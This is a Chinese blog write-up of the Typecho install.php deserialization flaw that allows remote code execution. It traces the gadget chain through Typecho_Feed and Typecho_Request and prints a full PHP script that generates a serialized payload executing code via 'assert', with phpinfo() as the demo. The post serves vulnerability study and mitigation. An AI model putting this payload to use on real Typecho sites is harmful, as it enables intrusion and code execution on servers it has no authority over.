Typecho

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行,Typecho 1.1(15.5.12)之前的版本都有受到不同的影响。

从install.php开始,在229行开始存在unserialize反序列化的地方。

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

想要执行到这个反序列化的操作我们必须要满足以下条件:

1、$_GET['finish'] 参数不为空

2、Referer 必须是本站

分别如下: 其实注释内容已经跟我们说了,具体就不用在分析了。

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
} $parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
} if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

条件二:<?php if (isset($_GET['finish'])) : ?> 在这里要能够接收到finish参数,这样才能进入到我们序列化的地方。

在最上端的代码当中__typecho_config是我们可控的,他是cookie的键名,230行将cookie中这个键名的值通过base64解码之后反序列化。

继续两段:

$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

因为整个$config的变量我们都能够控制,所以adapter,prefix这两个变量我们也能够控制。

跟进Typecho_Db()方法:(他在Db.php下)

 public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

$adapterName='Typecho_Db_Adapter'.$adapterName

$config['adapter']作为第一个参数传入到Typecho_Db()中并且做了字符串拼接,可能上我们是能够调用__toString这个魔术方法的,就是当我们把$adapterName设置为有__tostring魔术方法的类的时候,那么这个tostring方法就被触发了。

ps:__toString():用于一个类被当成字符串时应怎样回应。。

接着查看哪些类使用了__toString()方法:

Config.php

Feed.php

Db/Query.php

我们想要能够产生输出传递给我们,Feed.php存在,可利用的点:

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

__get()这个方法在读取不可访问的数据时触发,如果$item['author']有不能访问的属性,那么就会被触发,因为实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中只要设置为那个类中没有的属性,随便吧编一个就会执行该类的__get()方法 ,目前到此处,我们是在__tostring这个板块下的,而此时我们是在Feed.php下的Typecho_Feed类当中。

我们找到了get魔术方法,他是在request.php当中的,Typecho_Request

public function __get($key)
{
return $this->get($key);
}

继续跟进,因为他是调用了get这个函数在这个魔术方法当中:

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

再次跟进:

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

可以看见array_map()和call_user_func()两个回调函数,这说明了_params[$key]的值传入_applyFilter()方法,代码此时是可执行的,能偶产生输出了。

生成脚本,这是网上找的:

<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
} class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
} $exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
); echo base64_encode(serialize($exp));

因为Typecho_Cookie的get方法获取__typecho_config可以是cookie方式,也可以使post方式,所以我们的payload直接为post发送也可以。

参考链接:https://www.freebuf.com/vuls/152058.html

魔术方法不一定有用,但没有魔术方法一定没用,我们唯一的突破点就在于魔术方法,看看程序员是怎么编写这段魔术代码的,然后找寻突破点,删除install是个好习惯哦。

哦。

Typecho反序列化漏洞的更多相关文章

  1. Typecho 反序列化漏洞 分析及复现

    0x00 漏洞简介 CVE-2018-18753 漏洞概述: typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...

  4. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  5. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. 如何理解Vue.js中的ref及$ref,$

    1.vue官方文档 首先我们来看一下vue官方是怎么解释的 好了,我知道很多刚接触的vue的小白其实都不太看的懂官方文档在讲什么,下面我用自己的话翻译一下. 2.ref以及$ref 通过 ref 标注 ...

  2. javacv教程文档手册开发指南汇总篇

    本章作为javacv技术栈系列文章汇总 前言 写了不少关于javacv的文章,不敢说精通 ,只能说对javacv很熟悉.虽然偶尔也提交pull request做做贡献,但是javacv包含的库实在太多 ...

  3. C#-接口(Interface)详解

    定义 在 C# 语言中,类之间的继承关系仅支持单重继承,而接口是为了实现多重继承关系设计的.一个类能同时实现多个接口,还能在实现接口的同时再继承其他类,并且接口之间也可以继承.无论是表示类之间的继承还 ...

  4. 华师2019软件专硕复试机试题最后一题G:找数

    G. 找数 单点时限: 1.0 sec 内存限制: 256 MB 问题描述 输入一个整数 n( 2≤n≤10 ) ,你需要找到一些 n 位数(允许有前置 0 ,见样例),这些 n 位数均 由 0 ~ ...

  5. 现在的市场对 C++ 的需求大吗?

    分享  大师助手 先说结论:需求还是很大,但是没有什么初级程序员能干的岗位. 游戏引擎,存储,推荐引擎,infra,各种各样的性能敏感场景.这些都是C++的刚需场景,别的语言基本替代不了的.除了pin ...

  6. vue+elementUI+vue-i18n 实现国际化

    在main.js同级建i18n文件夹,并里面建i18n.js.langs文件夹,langs文件夹下建en.js.cn.js目录如下: . ├── App.vue ├── assets │   └── ...

  7. [ASP.NET Core开发实战]基础篇01 Startup

    Startup,顾名思义,就是启动类,用于配置ASP.NET Core应用的服务和请求管道. Startup有两个主要作用: 通过ConfigureServices方法配置应用的服务.服务是一个提供应 ...

  8. .Net Task 异步执行不等待结果返回

    该文章适合有一定异步编程基础的童鞋 开始之前先看.NET官网的一张图: 异步编程中最需弄清的是控制流是如何从方法移动到方法的. 没有理解的话可以去看一下 https://docs.microsoft. ...

  9. 【目标检测】SSD+Tensorflow 300&512 配置详解

    SSD_300_vgg和SSD_512_vgg weights下载链接[需要科学上网~]: Model Training data Testing data mAP FPS SSD-300 VGG-b ...

  10. 使用easyexcel时遇到Could not initialize class net.sf.cglib.beans.BeanMap$Generator

    可以访问 这里 查看更多关于大数据平台建设的原创文章. 上一篇文章 Maven项目为什么会产生NoClassDefFoundError的jar包冲突 结合了大量的图解,详细介绍了Maven项目产生ja ...